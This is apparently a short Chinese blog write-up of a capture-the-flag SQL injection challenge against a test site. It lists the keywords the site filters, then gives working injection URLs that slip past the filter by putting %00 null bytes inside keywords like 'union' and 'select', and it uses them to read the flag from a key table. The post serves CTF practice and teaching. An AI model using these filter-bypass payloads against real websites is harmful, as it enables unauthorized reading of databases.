sql注入之大过滤

Posted 2020-10-27

首先来到测试网站：http://103.238.227.13:10087/?id=1

通过最后两行发现有两个字段：

并且发现过滤了以下内容，郁闷。

table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'

直接上sqlmap，然而并没有什么用。

开始尝试绕过：http://103.238.227.13:10087/?id=-1+union+select+1,database() %23

发现不行。

继续测试：用00截断：

http://103.238.227.13:10087/?id=-1 un%00ion sele%00ct 1,database() %23

发现成功了。

访问http://103.238.227.13:10087/?id=-1 un%00ion sele%00ct 1,  hash fr%00om sql3.key %23得到flag